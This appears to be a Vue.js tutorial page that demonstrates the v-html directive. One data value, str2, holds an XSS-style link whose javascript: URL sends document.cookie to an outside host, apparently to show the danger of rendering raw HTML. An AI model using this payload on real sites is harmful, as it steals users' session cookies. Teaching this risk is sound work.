<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>VUE Template</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h1>Hi,{{name}}</h1>

        <h1 v-html="str"></h1>
        <h1 v-html="str2"></h1>
    </div>
</body>
    <script type="text/javascript">
        
        const vm = new Vue({
            el:'#root',
            data:function(){
                return{
                    name:'trentwu',
                    str:'<h1>hello</h1>',
                    str2:'<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>找到资源了</a>'
                }
            },
            methods:{
              showInfo(event){
                  
              }
          }
        })
    </script>
</html>